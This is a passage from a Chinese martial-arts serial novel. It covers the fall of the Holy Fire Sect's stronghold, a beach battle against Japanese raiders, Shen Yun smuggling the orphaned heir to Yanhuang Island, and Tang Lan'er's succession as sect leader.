玉佩,回到厅中,对沈云说:“沈师弟,请受我一拜。”说完,便对着沈云拜了下去,沈云大惊,忙说:“嫂嫂,为何行此大礼?”龚雅莲道:“沈师弟,教主决意以身护教,我和他夫妻本为一体,自当与他同生共死,请沈师弟拿着我家传玉佩,带着我的孩儿,去南海炎黄岛去找姐姐,姐夫,让姐姐姐夫将这个孩儿抚养成人,待他长大后,再为我们夫妻和今日惨死的教众报仇。”唐旭儿看了看妻子,见她心意已决,也就不再劝说,拿起笔墨,龙飞凤舞写了一封信,交给沈云,又抱过孩儿亲了亲,对沈云说:“师弟,这个孩子起名唐晟,盼望他长大以后,练好本领重振圣火教。”说完,也对沈云拜倒,沈云将书信揣在怀中,回拜在地,然后接过唐旭儿手中的孩儿和龚雅莲手中的玉佩,道:“师兄和嫂子保重,沈云对天发誓:“誓死保护侄儿安全。”唐旭儿知道情况危急,也不多说,立刻启动机关,露出秘道,夫妻俩和沈云洒泪而别,沈云抱着孩子,进入秘道,唐旭儿又启动机关,将秘道关闭,唐旭儿对夫人道:“夫人,你在后寨等候,我去前寨杀敌。”说罢,拿起兵刃,领着几个贴身随从向前寨冲去,来到前寨一看,寨中的守卫死伤遍地,大批黑衣人正黑压压的对着剩下的教众开始围攻,唐旭儿和众随从怒吼一声,持刀冲向敌人,那群黑衣人见唐旭儿等人杀到,也毫不畏惧一拥而上,开始围攻唐旭儿等人,唐旭儿左冲右突,奋力拼杀,手中钢刀如蛟龙出水,猛虎下山,进如猿猴蹿枝,退若龙蛇疾走,跃如鹰隼飞天,落若猛虎扑食,来犯的黑衣人不断有人倒下,但剩下的黑衣人却是奋不顾身前仆后继,置生死于度外死战不退,唐旭儿身边的随从也一个个逐渐倒下,最后只剩下唐旭儿孤身一人在奋力杀敌,唐旭儿虽然视死如归勇猛威武,杀死了三四十名来犯的黑衣人,但常言道:双拳难敌四手,猛虎架不住群狼。唐旭儿渐渐体力不支,最后破釜沉舟愤然一击,杀死两名黑衣人后,发出一声悲啸横刀自刎,后寨的龚雅莲听见丈夫在前寨的悲啸声,心中已经明白丈夫已经遇难,龚雅莲自知自己没有武艺,若是落在敌人手中,只怕会受尽凌辱,于是命几个丫鬟,拿出火油,浇在门窗之上,然后点火开始焚烧后寨,等到大批黑衣人冲到后寨时,只见后寨已被熊熊烈焰包围,众多黑衣人见此情形,一个个却是默然不语,只是眼中含泪,相互拥抱安慰,为首的黑衣人一声令下,命令手下搜寻圣火教的库房,将库房中的金银财宝洗劫一空,然后又四处纵火,将庞大的圣火教总舵烧了个精光。数日后,江湖中传出一个惊天大消息:圣火教行云天尊沈云勾接江洋大盗,杀死教主夫妻及几百教众,把圣火教十几代教徒积累的财富洗劫一空。再说方子进等人到了杭州东海后,与杭州的武林同道汇合,又汇集了大批中原武林人士,在二月初一下午,悄悄的埋伏在东海的海滩上,果然到了深夜,大批倭寇乘船而来,船上打着东瀛七星的旗号,这东瀛七星,是东瀛武林中新一代年轻武林高手,七人臭味相投,狼狈为奸,也效仿古人结义,老大富士星,老二白山星,老三立山星,老四八甲田星,老五石锤星,老六高野星,老七赤城星。”这东瀛七星,利欲熏心,自恃兄弟七人武艺高强,在东瀛纠结了大批浪人,想趁着春耕节来中原大肆抢掠,东瀛七星,率领两三千倭寇,从船上蜂拥而下,埋伏的中原武林人士,等大批倭寇到了海滩之上,一支响箭为号。”蜂拥而出,对着倭寇奋力砍杀,东瀛七星和手下的浪人,猝不及防,匆忙应战,双方你来我往战作一团,只见惨叫连连,血肉横飞,圣火教方子进等人,率领一千五行卫如同尖刀一般杀入倭寇群中,方子进凌风唐兰儿圆慧沐平番宋天雄雷清朗陆秀岭陈秀娟张矢志等人更是奋力向前击杀倭寇,东瀛七星的老大富士星,见圣火教众人来势凶猛,忙挥舞手中钢刀招呼手下的结义兄弟上前拦截,富士星和凌风战作一团,老二白山星是一个好色之徒,找到唐兰儿开始交手,剩下的老三立山星,老四八甲田星,老五石锤星,老六高野星,老七赤城星也和方子进圆慧沐平番等人战作一团,富士星和凌风你来我往战了三四十个回合,被凌风找准破绽,一剑刺穿胸膛,当场丧命,凌风杀死富士星后,四周一看,只见白山星正用手中钢刀疯狂的向唐兰儿攻击,唐兰儿此时肩膀已经受了刀伤,血流如注,体力已经不支,但依然拼死抵抗,凌风见状连忙上前助阵,两人联手十几招过后,凌风剑似龙蛇,快如闪电,一剑将白山星刺死,此时的唐兰儿已经身心俱疲,见敌人已死,忍不住瘫坐在地,凌风上前一把将唐兰儿搂起,然后挥剑如风,所向披靡,护着唐兰儿退出战场,到了僻静之处,将唐兰儿扶在 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一块巨石上坐下休息,唐兰儿道:“凌大哥,多谢救命之恩。”凌风道:“兰妹,你我同教中人,无需和我客气,只恨我只顾着杀敌,让你受了伤。”唐兰儿听言,不觉心中一甜,满脸羞涩的道:“凌大哥,这怎么能怪你?只怪我学艺不精,才被那倭寇所伤,幸得有你相救,救命之恩日后定当报答。”凌风微微一笑道:“你我之间说什么报答?若是能一辈子护你周全,才是我今生最大幸事。”唐兰儿闻言,情不自禁的脸泛红晕,轻声道:“凌大哥,武艺超群,若有人能和你在一起,凌大哥定然可以护她周全。”凌风道:“兰妹,我只盼今生今世能保护你一人,就是我凌风的荣幸。”此言一出,唐兰儿不由得抬起头,看向凌风,凌风也含情脉脉的注视着唐兰儿,两人心意相通,不由自主的双手紧握。沙滩之上,东瀛七星的老三立山星和圆慧斗了七八十个回合,被圆慧一杖打死,剩下的老四八甲田星,老五石锤星,老六高野星,老七赤城星眼见大哥二哥三哥都死了,一个个吓得心惊胆战,屁滚尿流,虚晃一招,撒腿就跑,那些倭寇见首领死的死,逃的逃,哪里还敢厮杀,一个个只恨爹娘少生两条腿,掉头就往船上跑,大批中原武林豪杰,穷追不舍,继续追杀,剩下的东瀛四星和侥幸逃上船的几百东瀛浪人,拼命划船逃命,没有逃上船的倭寇,都被中原武林豪杰杀死,此战,中原武林仅仅死伤了两百多人,却杀了为首的东瀛三星和一千多倭寇,大获全胜,当地的武林人士,安排人手打扫战场,将中原武林死伤的人士,救治安葬,然后在海滩上放上大批木柴,浇上火油,将一千多倭寇尸体烧为灰烬。”当地的武林人士,又安排庆功宴,感谢前来支援的武林同道,圣火教此次出力最大,杀敌最多,众多武林同道都赞不绝口,推崇备至,正在此时,忽然接到江湖传言,说圣火教行云天尊沈云勾结江洋大盗,杀死教主夫妻及几百教众,把圣火教十几代教徒积累的财富洗劫一空,方子进凌风等人大惊失色,连忙驱马日夜兼程赶回圣火崖。 回到圣火崖一看,只见偌大的圣火教山寨已经化为灰烬,教主夫妻和几百教众已经被敌人纵火焚尸灭迹,葬身火海,尸身无存,众人见此惨状,无不放声痛哭,发誓要找沈云复仇,众人稍微平静后,安排人手收敛教众骸骨,建了一个大墓,然后侦骑四出,四处搜寻线索和沈云下落,又派遣人手,去南海炎黄岛,告知张志远和唐玉儿,张志远和唐玉儿接到消息,如晴天霹雳,日夜兼程,从南海炎黄岛赶回圣火崖,到了圣火崖后,却不见弟弟,弟媳的尸首,一问才知,当晚唐旭儿夫妻和几百教众全部惨死,尸首全部被黑衣人纵火烧毁,只好建了一个大墓安葬众人尸骨,唐玉儿听说弟弟弟媳死得如此之惨,哭的天崩地裂,肝肠寸断,圣火教一些老的教众大多数和唐玉儿相识,尤其是各地分舵舵主,基本上都是和唐玉儿一起,在圣火教一起长大的,看到唐玉儿如此悲伤,一个个也是悲痛欲绝,五脏俱焚,拜祭过后,第二天早晨,唐玉儿因为路上日夜兼程赶路,过于辛苦,来到教中,又哭泣太久,所以昏昏沉沉的,还没有起床,在客房休息。”张志远也在客房中陪着妻子,不断劝慰,正在此时。”忽听见庭院外一阵嘈杂脚步声,来到院前,这时随行护卫前禀报:“禀告少岛主,院门口来了上百人,都跪在门前,请求夫人出来一见。”张志远不由心中疑惑,转头看了看唐玉儿,唐玉儿道:“夫君,我们出门看看。”夫妻俩来到院门前一看,只见各地分舵舵主和教中骨干,足足有上百人,都齐刷刷的跪倒在院门前,唐玉儿忙道:“各位兄弟姐妹,你们这是何意?”各地分舵舵主中有一个舵主叫黄天正,是众舵主中年纪最大,资历最老的,众舵主都以他为首,黄天正道:“大小姐,老教主率八王与青龙会华山峰顶决战,教众首脑全部战死,现在唐教主又惨遭不测,但圣火教不可一日无教主,我等商量了,想请大小姐和姑爷,留在圣火教主持大局,带领我们,为教主还有惨死的几百教众报仇雪恨。”唐玉儿一听,只觉得心乱如麻,也没有了主意,转头望着张志远,张志远思考片刻道:“各位兄弟姐妹,感谢你们的盛情,但是我张家本是朝廷钦犯,数十年来,都被锦衣卫的通缉,如果我们夫妻留在圣火教,只怕给圣火教带来灭顶之灾,再说我张家祖先,曾有家训:“不再过问中原之事,所以实难从命。”唐玉儿见丈夫这么说,自然不能反驳,只好含泪道:“各位兄弟,姐妹,我既然嫁入张家,自然以夫家为重,古语有云,嫁夫随夫,既然我夫君不愿留在圣火教,我作为他的妻子,也不能强求,圣火教教主之位,还是请兄弟姐妹们另选贤能,请兄弟姐妹们体谅我的苦衷。”众舵主和众多教众,见张志远态度如此坚定的拒绝,自然不好强人所难,众人人对视一眼,也不忍让唐玉儿为难,只好垂头丧气的,站起身形,和张志远夫妻俩拱手告辞,众舵主找了一个偏僻之处,商量教主人选,唐玉儿见众人走后,心中郁郁寡欢,和张志远回了帐篷,张志远见妻子郁郁寡欢,心中也是百感交集,只好柔声细语的劝慰,夫妻俩等丧事葬礼完成后,唐玉儿向留在教中的十大天尊和各分舵舵主逐一告别,准备并随张志远赶回南海,凌风方子进圆慧等人倒也没有多做挽留,只是各分舵舵主大都与唐玉儿一起长大,眼见挽留大小姐在教中做教主不成,现在大小姐又要离去,心中百感交集,百般不舍但又无可奈何,只好恭送张志远和唐玉儿已经下山,张志远一行人,从圣火崖下来,准备回归南海,众人正驱马在路上行走,忽见前方,有三十余骑,拦在道路当中,张志远等人勒住马缰,定睛望去,却见那三十多人,都身穿锦衣卫服饰,张志远道:“各位官人,不知何事拦住我等去路?”为首的一名锦衣卫首领哈哈一笑道:“张志远,咱们明人不说暗话,我们是北京城的锦衣卫,前些日子有人给我们锦衣卫大统领报信,说你近日要到圣火教圣火崖,拜祭亲人,我们大统领知道了,派我们在这里等候,带你们一行人到京城锦衣卫衙门坐坐。”张志远淡然道:“想不到北京城的锦衣卫狗鼻子还真灵,想不到我张志远才来几日,就被锦衣卫的狗鼻子闻到了。”那锦衣卫统领怒道:“张志远,你们一行人从南海而来,自以为行踪隐秘本可以瞒天过海,虽然我大明锦衣卫,眼线众多,却也无法知道你的行踪,但是却偏偏有人和你过不去,提前将你的行踪,秘密派人告知了我们锦衣卫,你们张家历来是朝廷钦犯,我等食君之禄忠君之事,既然知道你们来了中原,自然要来抓你们去京城衙门受审。”张志远冷冷笑道:“既然如此,我们不必多说,手底下见真章。”说话纵身下马,身后护卫和唐玉儿,也都纵身下马,锦衣卫一个个从马鞍上跳下,将张志远等十几人,团团围住,张志远心知,今日之事定然不能善了,自己一行人身处是非之地,只能快刀斩乱麻,于是挥动手中长剑与那锦衣卫首领战作一团,那锦衣卫统领倒也有些功夫,手持雁翎刀和张志远斗作一团,其他的锦衣卫也没闲着,和唐玉儿等人,也开始厮杀,张志远心知此地不宜久留,常言道:射人先射马,擒贼先擒王,手中长剑如灵蛇狂舞,闪电飞空,那锦衣卫首领一个不留神,被张志远刺中肩膀,身旁的手下,连忙舍命来救,张志远一招得手,毫不留情,把剑舞的如狂风扫叶水银泻地一般,功夫不大,又有两名锦衣卫,死在当场,那为首的首领一看,自己的手下已经被张志远的护卫又杀了几个,剩下的二十几个还在苦苦支撑,心想暗想:“大事不妙,想不到这张志远一行人竟然如此厉害。”于是口中还在装模作样咋咋呼呼,手上虚晃一招,转身跳上马匹,策马扬鞭拼命逃窜,这首领一跑,剩下的二十几锦衣卫,只恨爹妈少了几条腿,一个个如飞兔一般,拼命逃窜,张志远手下还要追杀,张志远道:“算了,他们也是公务在身,我们不必久留,速回南海吧。”说罢招呼众人,骑上马匹向南海急奔而去。 23. 第 23 章 第二十三章:沈云逃亡 再说沈云,从秘道逃脱,不敢停留,带着唐晟,怀揣书信玉佩,一路上小心谨慎昼伏夜行,路上碰见江湖人士,一律远远避开,趁夜色直奔泉州码头,十几日后,已经到了泉州,沈云不敢住客栈,找了个偏僻村庄,寻了一户农家安排好孩子,自己乔装打扮一番,去泉州码头寻找出海船只,沈云悄悄找了一个年老船家,说要雇他的船去炎黄岛,那船家道:“小哥儿,炎黄岛现在就有船在码头。”沈云道:“哪条船是炎黄岛的?”那老船家指着码头上一艘巨大海船,道:“那条船就是炎黄岛张家的船,听说炎黄岛少岛主夫妇二人,因为岳家出了事,所以去了什么圣火崖,炎黄岛的船只停在码头接应。”沈云闻言,强自按捺心中激动,谢过老船家后,悄悄的远远躲在旁边,注视着张志远的海船,只盼张志远,唐玉儿能够早日出现,再说张志远和唐玉儿一行人,从圣火崖一路奔波日夜兼程赶回了泉州码头,张志远等人到了码头后,翻身下马,准备登船,沈云远远望见,连忙疾步向前,向张志远的船只奔去,张志远远远看见一人快速直冲而来,于是大声喝到:“来者何人?”沈云乔装打扮,一时间张志远没认出来,沈云来到张志远夫妇面前,扑通跪倒道:“师姐,姐夫,我是沈云啊。”唐玉儿在一旁,一听说是沈云,霎时火冒三丈,嗖的一声拔出宝剑,口中骂道:“你这个狼心狗肺,忘恩负义的贼子,还敢来见我们,今日我定要将你碎尸万段。”说罢,一招仙人指路刺向沈云,沈云急忙一边躲闪,一边喊到:“师姐且慢动手,请听我一言,再动手不迟。”张志远伸出长剑,拦住唐玉儿,道:“夫人且慢动手,听他把话说完。”然后一挥手,命令一众手下将沈云团团围住,张志远道:“沈云,都说你为了钱财,勾结江洋大盗,害了你师兄一家,还害的圣火教几百教众惨死,如今你却毫发无损,事到如今,你还有何话说?”沈云伸手从怀中掏出唐旭儿的书信,道:“师姐,姐夫,你们把书信看了,再杀我不迟。”张志远伸手接过书信,一目数行,看完之后,将书信递给唐玉儿,唐玉儿接过书信仔细一看,心中恍然大悟,不禁眼中含泪道:“师弟,我冤枉你了,都是师姐的不对,我侄儿现在何处?”沈云道:“师姐,我不敢将侄儿带在身边,现寄养在远处偏僻的一户农家中,师姐,姐夫,请随我来。”张志远唐玉儿闻言,立马招呼手下,牵来几匹快马,又带上几名随从,一群人骑着马,跟着沈云,快马加鞭飞奔前往那户农家,功夫不大,沈云等人来到那户农家院前,唐玉儿纵身下马,跟着沈云径直扑进那农家小院,那对农家夫妇进门前来了这么多携带兵器之人,顿时吓得的面无人色,瑟瑟发抖,沈云道:“大哥大姐,请不要慌张,这是我师姐和姐夫,我们今天来,要带走我们的孩儿。”那对农家夫妇,忙进屋将孩子抱出递给唐玉儿,唐玉儿伸手接过孩子,看了看孩子稚嫩的脸庞,眼中的泪水如断线的珍珠,顺着脸颊滑落,张志远道:“夫人,这里乃是非之地,不宜久留,我们速速回去。”唐玉儿点点头,用布带将孩子缚于胸前,翻身上马,张志远又对着那对农家夫妇道:“两位大哥大姐,多谢你们照看我们的孩儿,此地不宜再留,我给你们一千两银子,你们急速搬家,不要对任何人透露今天的事,以免有杀身之祸。”那对农家夫妇人吓得面色煞白,连连摆手,结结巴巴道:“不敢不敢,我们不敢要你们的钱,你们不要,不要杀我们。”张志远道:“大哥,大姐,你们是我们家孩儿的恩人,我怎会杀你们?这一千两银子你们收下,急速搬家,不要在此逗留。”那对农家夫妇相互看了看,壮着胆子接过银票,口中连连称谢,回屋中飞快的收拾一点简单行囊,带上儿女,匆匆离去,张志远等人见那对农夫离去后,也翻身上马,跟随唐玉儿,一路急奔,回到泉州码头,到了码头之后,登上接应的海船,下令立刻起锚返航,直奔南海,行了二十几日后,到达炎黄岛,只见海滩上已有十几个人,在此迎接,为首的正是张敬贤夫妇,身边两个小男孩,一个十岁出头,一个八九岁,正是张志远和唐玉儿的两个儿子,张晧光和张晓光,众人见面后,张晧光和张晓光,得知舅舅,舅母已死,只幸存一个刚刚出世的小表弟,也陪着母亲放声痛哭,沈云也是哭的肝肠寸断,悲痛欲绝,张敬贤夫妇夫妻也是悲伤不已,张志远毕竟是一方雄主,虽然遭遇大变,但也能分晓事理,劝了一阵父母妻儿,又劝了一阵沈云,待众人心情稍稍平静后,唐玉儿看着怀抱中的唐晟,强忍内心悲痛,众人回到住所后,安排沈云住下,唐晟自然由姑姑唐玉儿亲自照顾,又隔了数日,张志远夫妻请沈云过来相见,张志远道:“沈兄弟,我张家先祖曾有家训:不再过问中原之事,但岳家之事,圣火崖惨变,已非普通的恩怨是非,我已经派遣得力手下去中原,打探此事踪迹。”沈云素知张志远手下都是武艺高强的能兵强将,由他们出马查询,应该可以查个水落石出,沈云垂泪道:“此事全凭师姐,姐夫做主。”张志远又道:“唐晟这孩子,身负血海深仇,背负重振圣火教重任,我担心有鼠辈以诡计谋害晟儿,所以我想给晟儿改名张晨光,对外称作是我的三子,待晟儿年满十八周岁后,再让他认祖归宗。”沈云知道张志远的苦心,也担心唐晟在未成年前遭遇危险,这样的安排,可以让孩子免去很多危险,也就点头称是再次拜谢,张志远看了看唐玉儿,唐玉儿欲言又止,满面踌躇,犹豫再三,道:“师弟,我有个为难之事要和你商议,但此事,我和你姐夫总感觉张不开口,所以无从说起。”沈云道:“师姐,姐夫,有话请讲。”唐玉儿道:“圣火教惨变后,江湖都在传言,是师弟所为,我和你姐夫想将计就计,故意在江湖中重金悬赏,缉拿师弟,要不然,我担心日子久了,有人会怀疑你和晟儿躲在炎黄岛,我们重金悬赏,缉拿于你,那么偷袭圣火教的那些贼人,便不会怀疑你和晟儿躲在炎黄岛,但如此一来,师弟在天下江湖中,就会变成人人唾骂痛恨的忘恩负义,恩将仇报之辈,所以我和你姐夫商量了许久,都觉得没办法张口。”沈云考虑片刻,昂然答道:“师姐,姐夫,只要是为了晟儿的安危,纵然我被千夫所指万人唾骂,也心甘情愿无怨无悔。”张志远夫妻听闻此言,不禁肃然起敬,夫妻俩站起身,对沈云深深鞠躬行礼致谢,几日后,炎黄岛在江湖中悬赏黄金千两,明珠百粒,缉拿沈云。 再说圣火崖上,众多圣火教分舵舵主眼见唐玉儿当教主无望,众人商量几日后,也没有商量出结果,最后老舵主黄天正道:“兄弟们,圣火教不能长久没有教主,如果时间久了,只怕会有四分五裂的风险,既然大小姐不能做教主,那么我们就请三小姐唐兰儿来做教主,三小姐虽然年轻,但毕竟也是唐教主的女儿,由她做教主,也是名正言顺。”其他的舵主们听了,都觉得既然没有合适的人选,那就让三小姐唐兰儿来做教主,唐兰儿自东海剿灭倭寇后,身上伤势还没有完全痊愈,回到圣火崖后,在僻静之处搭了个木棚,带着两名侍女,在木棚里养伤,在此期间,雷清朗多次来探望,唐兰儿都让侍女回话,说身子不适,请雷天尊回去,雷清朗多次碰壁后,心中感觉沮丧,但也无可奈何,凌风也常去木棚探望唐兰儿,唐兰儿心中喜悦,常和凌风在林间漫步,说一些情侣间的情话,凌风对唐兰儿关怀备至,体贴入微,两人的感情也日渐浓厚,这日众位舵主来找唐兰儿,将心中的想法一说,唐兰儿连连推辞,说自己太过年轻,阅历太少,实在无法承担教主重任,正在众人一筹莫展之际,凌风闻讯而来,对唐兰儿道:“兰妹,众舵主说的很有道理,圣火教十几万教众,教主之位万万不能空缺太久,如果空缺太久,圣火教恐怕有四分五裂的风险,你虽然年轻,阅历较少,但你是老教主的女儿,唐教主的妹妹,既然你大姐唐玉儿不能担任教主,那么你义不容辞,要挑起这份重担。”唐兰儿犹豫道:“凌风哥,我没有处理教务的经验,圣火教十几万教众,教务千头万绪,我确实没有能力承担教主责任。”凌风道:“兰妹,有众舵主齐心协力帮助你,你何惧之有?你若不嫌我愚笨,我必定殚思竭虑,为你排忧解难,此时此刻,圣火教危机四伏,只盼兰妹能够不惧艰险挺身而出,为圣火教重振辉煌。”唐兰儿听得凌风之言,心中瞬间信心大增,也就点头答应,众舵主大喜,连忙选定一个黄道吉日,为唐兰儿举行教主登基仪式,登基当天,唐兰儿对着众多教众道:“小女子才疏学浅,本无力担任教主一职,但承蒙众多舵主厚爱,对我期望甚高,小女子只能勉为其难,挑起这千斤重担,希望诸 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位叔伯兄弟和我齐心协力,众志成城,重振圣火教辉煌,我唐兰儿对圣火教列祖列宗起誓,定不惧艰险,与圣火教共存亡。”众人欢呼鼓掌,齐齐拜倒,叩拜新教主,唐兰儿道:“各位叔伯兄弟,我阅历太浅,又没有处理教务的经验,所以我想设立副教主一职,请一位急公好义,侠义正直的圣火天尊为副教主,帮我处理日常教务,大家意下如何?”众人齐声叫好,圆慧,方子进等人都扭头看着雷清朗,心想教主估计是想请雷清朗兄弟担任副教主,雷清朗却面无表情,恍若未闻,唐兰儿道:“既然大家都同意,那么我想请凌风凌大哥担任圣火教副教主。”此言一出,大部分人都大吃一惊,忍不住面面相觑,唐兰儿道:“上次东海击杀倭寇,凌风大哥身先士卒,不惧艰辛,杀了倭寇首领,足见武艺超群,又伸出援手,救了我的性命,对我有救命之恩,凌风大哥,为人谦逊有礼,对教众也是仁爱有加,在我养伤期间,对我关怀备至,体贴入微,我和凌风大哥已经两情相悦,定了终生。”众教众闻言,纷纷道:“既然是教主夫君,自当帮助教主处理教务,为教主排忧解难,副教主一职自然由教主夫君担任。”圆慧,方子进等人大吃一惊,面面相觑,心中都为雷清朗打抱不平,情不自禁的将同情的眼光瞟向雷清朗,雷清朗面沉似水,上前几步,道:“唐教主,我加入圣火教实为帮助圣火教铲除青龙会,不知唐教主准备何时讨伐青龙会?”唐兰儿一时没了主意,扭头看了看凌风,凌风也上前几步道:“雷天尊,原来唐旭儿大哥和青龙会定了今年端午华山决战,但现在唐旭儿大哥已经亡故,华山决战需要从长计议。”雷清朗道:“按凌副教主的意思,我们就不找青龙会报仇了?”凌风道:“我派人去详细调查了,圣火崖惨变之时,青龙会原会主宇文山的夫人公孙芳和两个儿子宇文峰,宇文秀,带领青龙会青龙七星和玉猫李如玉,在少林寺为青龙会死去的众人做法事,雷天尊若是不信,星斗天尊方大哥,曾经身为丐帮副帮主,丐帮消息天下第一灵通,请方大哥说句话,我凌风所言,是否属实?”方子进闻言,面色冷峻,在一旁道:“圣火崖惨变后,我立刻飞鸽传书给丐帮,让他们查清青龙会首脑的踪迹,的确那几日,青龙会一众首领都在少林寺为宇文山等人做法事。”凌风闻言道:“大家都听清楚了,星斗天尊方大哥已经让丐帮查清,圣火崖发生惨变那日,青龙会一众首领都在少林寺,由此可见,圣火崖惨变并非青龙会所为,所以现在我们当务之急是查找沈云,并追查偷袭圣火崖的贼寇,这才是重中之重,急上加急的事,与青龙会的决斗,我建议暂且放下,等查清楚谁是圣火崖惨变的凶手,我们必定找他报此血海深仇,不死不休,大家意下如何?”众舵主和教众听了凌风之言,也都纷纷点头,表示赞同,雷清朗道:“既然现在不和青龙会决斗,那么我留在圣火教也没什么意义,等到唐教主追查到圣火崖惨变的凶手,我再回教效力,雷某告辞。”此言一出,众人有些诧异,圆慧,方子进等人心中却是明白,雷清朗眼见所爱之人,已和凌风定了终生,为情所伤,所以萌生了离教之心,圆慧,方子进等人小声商量了一会,也都上前几步,方子进大声道:“我等入教和雷贤弟是同样的目的,现在既然唐教主和凌副教主取消了与青龙会的决斗,我等留在圣火崖也没有意义,就此告辞。”说罢,众人对唐兰儿躬身施礼,转身要走,凌风连忙开口道:“各位天尊,你们既然要离开圣火教,我等也不能强人所难,但是天尊令是圣火教之物,请诸位将天尊令留下再走。”方子进冷冷道:“这天尊令是唐旭儿教主亲手所赐,我们只是离开圣火崖,并非叛教,日后唐兰儿教主追查到凶手后,我们兄弟自当回圣火崖效力,为惨死的唐旭儿教主夫妻,和几百教众报仇雪恨,请问凌副教主有什么权利收缴我们的天尊令?”凌风还想张口,唐兰儿连忙阻止,道:“几位大哥,你们可以离开,日后我若是查找到凶手,定会派人传信给几位大哥,希望几位大哥一诺千金,回圣火崖效力,为我惨死的哥嫂和几百教众报仇雪恨。”方子进,圆慧等人大声道:“君子一言驷马难追,若唐教主追查到凶手,请立刻通知我们,我等赴汤蹈火,在所不辞。”说罢,几人转身离去,众人看着方子进等人离去,心中都不由得有些伤感。 24. 第 24 章 第二十四章朱雀玄武 七兄弟和陈秀娟下了圣火崖,寻了个酒馆,众人大喝了一场,才依依惜别。沐平番回到云南,沐平番本是王侯世家,是云南沐府二公子,回到云南后,父亲沐王爷命其在军中效力,沐平番凭借一身武艺,很快在军中崭露头角,沐平番为人平易近人,和军中的点苍派段昌义,高明亮等众多弟子都结为好友,在军中威望颇高,沐王爷见儿子在军中如鱼得水,心中也是欣喜,于是奏请朝廷,封沐平番为平远将军,在这期间,方子进也回到丐帮,重新做了丐帮副帮主。方子进来了两次昆明,处理丐帮云南分舵事务,也到将军府拜访了沐平番,兄弟见面,格外亲热,沐平番盛情招待,带着段昌义高明亮等人,宴请方子进,丐帮云南分舵一众首脑,众人喝得兴高采烈,一醉方休。方子进因丐帮事务较多,住了几日后,便离开昆明,沐平番送了二十里,兄弟俩才依依惜别。”这日沐平番正在军营里处理军务,忽然兵丁来报,段昌义将军高明亮将军前来求见,沐平番道:“速速有请。”功夫不大,只见段昌义高明亮和几个在军中效力的点苍派师兄弟,全身上下血迹斑斑,相互搀扶,来到厅中,沐平番见状,不由得大惊,连忙起身迎接,道:“段兄,高兄,你们这是怎么了?”段昌义等人,将伤者扶到一旁座椅坐下,段昌义拱手行礼,道:“二公子,我们今日放假,兄弟几个商量,出去喝一杯,到了昆明城德兴酒楼,正在喝酒,却见十几个黑衣人,自称青龙会云南分舵的,大呼小叫要让酒楼老板出来交什么保护费,酒楼老板出来后,对那些黑衣人苦苦哀求,说生意难做,请大爷们高抬贵手,放过小人,不想那青龙会的黑衣人,根本不听酒楼老板诉苦,见拿不到保护费,开始动手打砸,我们兄弟几个看了,路见不平自然拔刀相助,那十几黑衣人,本不是我们对手,没想到他们发出讯号,竟召集了近百人,与我们打斗,我们兄弟寡不敌众,好不容易才逃出重围,青龙会极其嚣张,竟然紧追不舍,我们无奈,只好逃到二公子军营,寻求庇护。”沐平番一听,心中大怒:“段兄高兄,那些青龙会的人现在何处?”段昌义道:“刚才我们进营时,他们近百人,还在军营外逗留。”沐平番怒不可遏,厉声道:“来人呐,来人呐,随我到军营外,捉拿青龙会狂徒。”说罢,带领军营中侍卫兵丁上百人,冲到军营门口,只见军营门外不远处,有上百黑衣人,正在交头接耳指手画脚,似乎在商量什么事情,沐平番心中大怒,把手一挥,喝令道:“给我拿下。”只见身后的侍卫兵丁如虎狼一般,冲向了青龙会黑衣人,那些青龙会爪牙,有些是云南本地人,认识沐平番,看见沐平番带兵杀来,一个个吓得屁滚尿流,只恨爹妈少生两条腿,撒腿就跑,沐平番率人去追,哪里还能追得到?沐平番等人追了一炷香功夫,一无收获,青龙会黑衣人早已逃远,沐平番难以抑制心中怒火,回到军营,见段昌义等人,已经包扎好伤口,正在营中等候,沐平番道:“段兄高兄,你们好好养伤,我现在昆明知府衙门,让知府派人抓捕青龙会。”段昌义等人拱手谢过,然后回去静养疗伤,沐平番骑上马匹,带上随从,亲自去昆明知府衙门,那知府名叫陈文哲,看见沐平番亲自而来,赶忙前来迎接,分宾主坐下后,沐平番将事情经过一说,责令知府全力抓捕,知府苦着脸,道:“二公子,你有所不知,这青龙会,在昆明势力庞大,三教九流都被他渗透,现在的昆明江湖□□,青龙会一家独大,都是些旁门左道,三教九流人士,又网罗了很多□□武林高手,我们衙门的捕快,根本就没办法抓到他们,下官实在无能为力。”沐平番考虑一会儿,道:“陈大人,你写个公文,就说青龙会,欺压良民,为非作歹,气焰嚣张,祸害百姓,请求我们骠骑营,派人协助,我陪你一起,将公文送给我父王,得我父王允准后,我带人为你们剿灭青龙会。”那知府一听,自是欣喜,忙写了一纸公文,请沐平番过目,沐平番一目十行看完帖子,吩咐道:“我们现在即刻出门,将公文呈送我父王。”知府连连点头,跟着沐平番后面出了衙门,直奔沐王府,到了沐王府门口,守门的将领见沐平番和知府前来,连忙上前施礼,领着二人来到银安殿,只见这银安殿,气势恢弘,金碧辉煌,到了银安殿上,众人跪倒叩拜道:“参见王爷。”银安殿所坐之人正是沐王爷沐晟,把手一抬,道:“不必多礼,一旁看座。”知府谢过后,将公文递给一旁侍卫,然后到一旁坐下,沐王爷接过公文,仔细看了看,手捻胡须,思索片刻道:“这青龙会,实在是太过分了,当年刚有苗头时,朝廷上代王朱桂,镇北侯公孙氏,还有几位朝廷大员来信,说青龙会是一个正当的江湖门派,要我多加关照,没想到竟然是这等邪恶奸徒,你先回去,我和平番商量一下。”知府告退,等知府走后,沐平番道:“父王,这青龙会,在云南渗透各行各业,敲诈勒索绑票抢劫无恶不作,云南百姓视之为蛇虫毒蝎,请父王下令,我亲自率领骠骑营,衙门捕快,定要剿灭这青龙会在云南的爪牙。”沐王爷点点头,道:“前几年,这青龙会,刚来云南时,我就想铲除他们,但是朝廷上代王朱桂,镇北侯公孙氏,还有几位朝廷大员都写来书信,说青龙会会主,和代王朱桂,镇北侯公孙宝都是亲戚,请我多加关照,所以我投鼠忌器,不好操之过急,今日知府前来,才知青龙会,竟然如此之恶,事关黎民百姓,也就顾不得他们的情面了,但铲除青龙会之事需要办的巧妙,最好由昆明的武林帮会去做,更加稳妥,避免得罪代王朱桂,镇北侯公孙宝和朝堂上的几个大员,平番,你明白父王的意思吗?”沐平番思索片刻道:“父王放心,我定会将此事办的周密,不会让人抓住把柄,防止有人借机生事。”沐王爷点点头道:“此事交给你亲自督办,记住除恶务尽。”沐平番心中高兴,道:“谢父王,孩儿这就去办。”沐平番出了王府,策马扬鞭,带领随从回到军营,叫了段昌义高明亮等人,将沐王爷的想法告诉众人,段昌义高明亮等人一听,要剿灭云南的青龙会,一个个摩拳擦掌,兴高采烈,沐